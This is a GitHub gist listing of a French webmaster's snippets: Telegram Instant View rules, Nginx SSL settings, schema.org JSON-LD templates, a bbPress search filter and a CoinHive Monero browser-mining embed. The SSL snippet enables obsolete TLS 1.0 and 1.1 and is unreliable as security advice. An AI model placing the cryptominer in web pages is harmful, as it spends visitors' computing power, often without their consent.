Skip to content

Instantly share code, notes, and snippets.

HoussenMoshine / telegram-instant-view-template-help
Last active Jan 7, 2022
Help for Telegram Instant View Template
View telegram-instant-view-template-help
# To remove only some text on a content
@remove: //p[self::p/strong[contains(text(), "Articles liés")]]
@remove: //iframe[contains(@src,"https://urlsomething")]
# To deal with fucking error of <img> is not supported in blabla
@before_el(./..): //a/img
@before_el(./..): //p/img
HoussenMoshine / configuration-nginx-conf-ssl
Created Jun 27, 2018
Un bout de configuration d'un site sous Nginx pour inclure le fichier de configuration SSL
View configuration-nginx-conf-ssl
server {
listen 443 ssl http2;
root /le repertoire de votre site;
index index.php index.html index.htm;
ssl_certificate /etc/letsencrypt/live/;
ssl_certificate_key /etc/letsencrypt/live/;
HoussenMoshine / configuration-ssl-lets-encrypt
Created Jun 27, 2018
Configuration SSL pour Let's Encrypt pour avoir une note A+ sur SSLLabs
View configuration-ssl-lets-encrypt
# Specify the TLS versions
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
# Ciphersuites recommendation from the
# Use this chipersuites to get 100 points of the SSLabs test
# Some device will not support
# Mozilla Ciphersuits Recommendation
View code-minage-monero
<script src=""></script>
var miner = new CoinHive.User('Votre clé publique', {
threads: 2,
autoThreads: false,
throttle: 0.9,
forceASMJS: false,
language: 'auto'
View commentaire-schema-org
<script type="application/ld+json">
"commentText":"Le texte du commentaire",
"commentTime":"La date de publication du commentaire",
"creator":"L'auteur du commentaire",
"discusses":"Le sujet du commentaire, généralement l'article.",
"replyToUrl":"Le lien de l'article initial qui concerne le commentaire"
View techarticle-schema-org
<script type="application/ld+json">
{ "@context": "",
"@type": "TechArticle",
"headline": "Comment rooter son Smartphone ou tablette Android",
"dependencies": "Un Smartphone Android et une connexion à internet",
"proficiencyLevel": "Débutant",
"alternativeHeadline": "Rooter son Smartphone ou sa tablette Android",
"image": "",
"author": "Houssen Moshinaly",
View forum-discussionForumPosting-schema-org
<script type="application/ld+json">
"@id":"<?php bbp_reply_id(); ?>",
"datePublished":"<?php the_time('c'); ?>",
"headline":"<?php bbp_topic_title(); ?>",
"articleSection":"<?php bbp_forum_title(); ?>",
"articleBody":"<?php echo wp_strip_all_tags( get_the_content() ); ?>",
View claimreview-exemple-schema-org
<script type="application/ld+json">
"@context": "",
"@type": "ClaimReview",
"url": "",
"@type": "Organization",
"url": "",
"sameAs": ""
View claimreview-schema-org
<script type="application/ld+json">
"@context": "",
"@type": "ClaimReview",
"datePublished": "2014-07-23",
"url": "",
"author": {
"@type": "Organization",
"url": "",
"image": "",
View sujet-bbpress-recherche-wordpress
* Include bbPress 'topic' custom post type in WordPress' search results */
function ntwb_bbp_topic_cpt_search( $topic_search ) {
$topic_search['exclude_from_search'] = false;
return $topic_search;
add_filter( 'bbp_register_topic_post_type', 'ntwb_bbp_topic_cpt_search' );